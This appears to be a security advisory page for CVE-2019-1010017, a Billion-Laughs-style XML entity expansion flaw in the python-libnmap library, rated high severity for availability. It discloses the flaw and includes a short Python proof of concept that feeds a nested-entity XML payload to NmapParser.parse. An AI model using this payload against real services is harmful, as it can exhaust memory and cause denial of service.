GitStock

savon-noir/python-libnmap · Security

XML Injection in python-libnmap

GHSA ID
GHSA-9ccv-p7fg-m73x
CVE ID
CVE-2019-1010017
Severity
high
Published
Updated
CVSS
7.5 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS v3
7.5 · CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

CWEs

  • CWE-91 · XML Injection (aka Blind XPath Injection)

References